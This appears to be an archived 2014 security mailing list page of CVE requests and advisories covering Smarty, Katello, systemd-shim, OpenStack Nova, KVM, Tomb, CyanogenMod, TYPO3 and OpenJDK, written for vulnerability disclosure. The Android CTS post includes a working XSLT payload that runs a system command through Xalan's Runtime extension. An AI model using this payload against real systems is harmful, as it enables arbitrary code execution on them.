Salvatore Bonaccorso | 22 Oct 21:53 2014
Picon

CVE Request: smarty: secure mode bypass

Hi

Can a CVE be assigned for the following smarty issue: upstream
released new version 3.1.21:

> Smarty 3.1.21 Released Oct 18, 2014
> Smarty 3.1.21 minor bug fixes and improvements. Also following up a
> security bug fix where <script language="php"> tags still worked in
> secure mode. To note, this only affects users using Smarty in secure
> mode and exposing templates to untrusted third parties.

Changelog: https://code.google.com/p/smarty-php/source/browse/trunk/distribution/change_log.txt?r=4902

Debian Bugreport: https://bugs.debian.org/765920

Regards,
Salvatore

Kurt Seifried | 22 Oct 18:55 2014
Picon

CVE-2014-3712 Katello: user parameters passed to to_sym

Jan Rusnacko of Red Hat reports:

Katello code exposes potential to_sym Denial of Service attack vector
from user input parameters. The two places identified are:

https://github.com/Katello/katello/blob/9231e24f93fa804e557fc95637cfa2c5bb92f6a7/app/controllers/katello/content_search_controller.rb#L617

https://github.com/Katello/katello/blob/9231e24f93fa804e557fc95637cfa2c5bb92f6a7/app/controllers/katello/api/api_controller.rb#L87

This type of attack is documented here -
http://docs.fedoraproject.org/en-US/Fedora_Security_Team/1/html/Secure_Ruby_Development_Guide/RubySymbols.html

This has been confirmed in testing by Eric Helms of Red Hat.

cvss2=3.5/AV:N/AC:M/Au:S/C:N/I:N/A:P

--

-- 
Kurt Seifried -- Red Hat -- Product Security -- Cloud
PGP A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

Marc Deslauriers | 22 Oct 15:41 2014

CVE Request: systemd-shim DoS issue

Hello,

systemd-shim version 8 shipped with a debugging clause enabled that may result
in a denial of service attack by local users.

Fixed by:
https://github.com/desrt/systemd-shim/commit/d2e91c118f6128875274a638007702d1cc665893

Could a CVE please be assigned to this issue?

Thanks,

Marc.

--

-- 
Marc Deslauriers
Ubuntu Security Engineer     | http://www.ubuntu.com/
Canonical Ltd.               | http://www.canonical.com/

Tristan Cacqueray | 21 Oct 23:36 2014

[OSSA 2014-037] Nova VMware instance in resize state may leak (CVE-2014-8333)

OpenStack Security Advisory: 2014-037
CVE: CVE-2014-8333
Date: October 21, 2014
Title: Nova VMware instance in resize state may leak
Reporter: Zhu Zhu (IBM)
Products: Nova
Versions: up to 2014.1.3

Description:
Zhu Zhu from IBM reported a vulnerability in Nova VMware driver. If an
authenticated user deletes an instance while it is in resize state, it
will cause the original instance to not be deleted. An attacker can use
this to launch a denial of service attack. All Nova VMware setups are
affected.

Juno fix:
https://review.openstack.org/118595

Icehouse fix:
https://review.openstack.org/125492

Notes:
This fix was included in the 2014.2 release and will appear in a future
2014.1.4 stable point release.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8333
https://launchpad.net/bugs/1359138

--
(Continue reading)

Andy Lutomirski | 21 Oct 22:48 2014
Picon

CVE-2014-3690: KVM DoS triggerable by malicious host userspace

[sorry for somewhat late notice -- I didn't notice that the patch was
public until just now]

KVM has a bug that allows malicious host user code that can open the
/dev/kvm device on a VMX (Intel) machine to DoS the system.  (In my
proof of concept, the DoS is a rather spectacular failure of the whole
system, although I haven't checked whether the kernel panics.  A more
refined exploit *might* be able to kill targetted user processes, but
it would be tricky and is subject to possibly unavoidable races that
are likely to take down the whole system.)

This is *not* triggerable by a guest, although a guest that can
compromise its host QEMU could use this bug to take down everything
else running on the host.

I would guess that all kernels that support VMX are vulnerable, but I
haven't tested old kernels.

The fix is here:

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=d974baa398f34393db76be45f7d4d04fbdbb4a0a

PoC available upon request, and I'll post it publicly in a few days,
because it's kind of fun to watch the fireworks.

--Andy

Tristan Cacqueray | 20 Oct 16:13 2014

CVE request for vulnerability in OpenStack Nova

A vulnerability was discovered in OpenStack (see below). In order to
ensure full traceability, we need a CVE number assigned that we can
attach to further notifications. This issue is already public, although
an advisory was not sent yet.

Title: Nova VMware instance in resize state may leak
Reporter: Zhu Zhu (IBM)
Products: Nova
Versions: up to 2014.1.3

Description:
Zhu Zhu from IBM reported a vulnerability in Nova VMware driver. If an
authenticated user deletes an instance while it is in resize state, it
will cause the original instance to not be deleted. An attacker can use
this to launch a denial of service attack. All Nova VMware setups are
affected.

References:
https://launchpad.net/bugs/1359138

Thanks in advance,

--

-- 
Tristan Cacqueray
OpenStack Vulnerability Management Team

Michael Scherer | 20 Oct 05:59 2014

CVEs request: Incorrect temporary file handling && silent code execution in Tomb, a commandline tool to easily operate encryption of secret data

Hi,

While looking around, I stumbled accross this :

https://github.com/dyne/Tomb/blob/master/tomb#L153
https://github.com/dyne/Tomb/blob/master/tomb#L59

so the tool is using a predictible filename in /tmp ( albeit not easy to predict ),
and it is used without verification if the file exist already.

So a attacker could pre-create the file with proper r/w acl for his own user,
and then wait until the script use the file. Since the code is run as root
to mount and operate the file like :

https://github.com/dyne/Tomb/blob/master/tomb#L2465
( check_priv running the script as root with sudo )

The tmp_create function will always succeed to change uid and change permissions.
And even if it doesn't, there is no return code verification anyway...

So if a file already exist with suitable name ( which can statistically happen, especially
since the pid is likely predictible ) and suitable permission, a attacker with access
to the system could steal temporary file. One of those file is the temporary key to encrypt
the tomb.

Ironically, a fix for this would be to use /run/user for temporary file but the author 
seems to not like systemd from what I gathered.

A second issue is that the tool is running a script coming from the encrypted filesystem
on open without any option to avoid it, nor any documentation about it :
(Continue reading)

Lord Tuskington | 19 Oct 11:26 2014
Picon

CVE request: Cyanogenmod MITM

After reading el reg's article regarding a cyanogenmod MITM flaw, I started
looking through the code to see if I could find it. It didn't take long.
This finding was not what users are led to believe by cyanogenmod's blog
post. I reported the issue to cyanogenmod, but got a rather unsatisfactory
reply. They didn't seem willing to modify the blog post to more accurately
reflect the problem. Below is my email exchange with cyanogenmod's security
address:

 Lord Tuskington,

 Thank your for your response. Truth is we assumed as much, but the lack of
meaningful information in the Register's sensational article didn't leave
us much room to interpret it besides what it presented at face value.

 As you noted, this has already been addressed in our shipping code branch
(cm-11), prior to the article's publishing. This was the net result of the
messaging provided in the blog post, with CM 11 being 'safe' from this
issue.

 We normally do not patch non-shipping code (in this case 10.2 and prior),
though we may in this case.

 We do not expect to make a advisory on the 10.2 item at this time.

 Thank you,
Abhisek Devkota

  On Oct 17, 2014 8:50 PM, "Lord Tuskington" <l.tuskington@...> wrote:
  Hello from Greenland!

(Continue reading)

Lord Tuskington | 19 Oct 11:28 2014
Picon

CVE request: remote code execution in Android CTS

CTS parses api-coverage.xsl without providing the FEATURE_SECURE_PROCESSING
option. See lines 60-67 of
cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/HtmlReport.java:

InputStream xsl =
CtsApiCoverage.class.getResourceAsStream("/api-coverage.xsl");
StreamSource xslSource = new StreamSource(xsl);
TransformerFactory factory = TransformerFactory.newInstance();
Transformer transformer = factory.newTransformer(xslSource);

StreamSource xmlSource = new StreamSource(xmlIn);
StreamResult result = new StreamResult(out);
transformer.transform(xmlSource, result);

An attacker who is able to control api-coverage.xsl could inject arbitrary
code into it, which would be executed. For example:

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:str="http://xml.apache.org/xalan/java/java.lang.String"
>
<xsl:output method="text"/>
    <xsl:template match="/">
       <xsl:variable name="Command"><![CDATA[calc.exe]]></xsl:variable>
       <xsl:variable name="RT" select="rt:getRuntime()"/>
       <xsl:variable name="proc" select="rt:exec($RT, $Command)"/>
       <xsl:text>Process: </xsl:text><xsl:value-of select="$proc"/>
    </xsl:template>
</xsl:stylesheet>
(Continue reading)

Henri Salo | 18 Oct 10:48 2014
Picon

CVE request: TYPO3-EXT-SA-2014-014 and TYPO3-EXT-SA-2014-015


Hi,

Can I get two 2014 CVEs for following TYPO3 extension vulnerabilities, thank you.

http://typo3.org/teams/security/security-bulletins/typo3-extensions/typo3-ext-sa-2014-014/

It has been discovered that the extension "fal_sftp" (fal_sftp) is susceptible to
Improper Access Control.

Release Date: October 17, 2014
Affected Versions: 0.2.4, 0.2.5
Vulnerability Type: Improper Access Control
Severity: Medium
Suggested CVSS v2.0: AV:N/AC:L/Au:S/C:P/I:N/A:N/E:POC/RL:OF/RC:C

Problem Description: Configured permissions of newly created files and folders
for the sFTP driver are set incorrectly.

Solution: Updated version 0.2.6 is available from the TYPO3 extension manager
and at http://typo3.org/extensions/repository/download/fal_sftp/0.2.6/t3x/.
Please check your existing setup and fix permission if needed! Users of the
extension are advised to update the extension as soon as possible.

Credits: Credits go to Jost Baron who discovered and reported the issue.

-

http://typo3.org/teams/security/security-bulletins/typo3-extensions/typo3-ext-sa-2014-015/

(Continue reading)

Florian Weimer | 17 Oct 17:02 2014
Picon

Connected UDP sockets and kernel queuing (CVE-2014-6512)

I noticed a potential issue with connected UDP sockets and the kernel 
kernel per-socket packet queue, potentially leading to IP spoofing 
vulnerabilities in the sense that the application thinks the packet came 
from host A, but it really came from host B:

   <https://bugzilla.redhat.com/show_bug.cgi?id=1071210>

OpenJDK is particularly exposed because DatagramSocket.disconnect() 
calls connect(2) with AF_UNSPEC (or a NULL socket address on some 
systems) to disconnect sockets, which is a rarely used feature of the 
BSD sockets API.  OpenJDK ensures that these disconnected sockets remain 
bound to a port, so it was possible to enqueue packets whose source 
address will not be checked, without even having a tight race to win.

We thought briefly about fixing this in the kernel, but thought better 
of it because of backwards compatibility concerns (and we would have to 
patch OpenJDK nevertheless).  The OpenJDK fix simply checks the source 
address of incoming packets.  Oracle's fix has an optimization that 
drops this additional filter after the maximum amount of pending packets 
has been consumed from the socket; my patch moved the filter to native 
code instead and applied it to every packet on a connected socket.  I 
think both approaches are valid.

I'm sharing this with a wider audience because in theory, other 
UDP-based services could be affected, although I didn't spot any when I 
looked at this prior to disclosure.

--

-- 
Florian Weimer / Red Hat Product Security

(Continue reading)


Gmane